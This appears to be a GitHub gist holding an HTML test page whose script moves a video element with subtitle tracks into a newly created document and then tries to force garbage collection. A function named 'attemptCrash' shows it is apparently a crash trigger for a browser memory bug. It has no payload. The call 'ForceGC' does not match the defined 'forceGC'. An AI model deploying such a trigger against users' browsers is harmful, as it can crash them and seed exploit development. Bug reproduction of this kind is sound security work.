Created
August 11, 2022 20:35
-
-
Save leo60228/d55391b011f95ef20a57d857202fa6c0 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<script> | |
function logEvent(evt) | |
{ | |
consoleWrite("EVENT(" + evt.type + ")"); | |
} | |
function startTest() | |
{ | |
track1 = document.getElementsByTagName('track')[0] | |
track1.track.mode = 'showing'; | |
track1.addEventListener('removetrack', logEvent); | |
track2 = document.getElementsByTagName('track')[1] | |
track2.track.mode = 'showing'; | |
track2.addEventListener('removetrack', logEvent); | |
video = document.getElementsByTagName('video')[0]; | |
setTimeout("attemptCrash()", 0); | |
} | |
setTimeout(startTest, 5000); | |
function forceGC() { | |
for (var i = 0; i < 10000; i++) { | |
var s = new String("abc"); | |
} | |
window.location.reload(); | |
} | |
function attemptCrash() | |
{ | |
newDocument = document.implementation.createDocument("", null); | |
newDocument.appendChild(video); | |
delete newDocument; | |
setTimeout(ForceGC, 5000); | |
} | |
</script> | |
</head> | |
<body> | |
<p>Instructions: Play the video, enable subtitles, close once finished</p> | |
<video autoplay controls> | |
<source src="test.mp4"> | |
<track src="captions-fast.vtt"> | |
<track src="captions-fast.vtt"> | |
</video> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment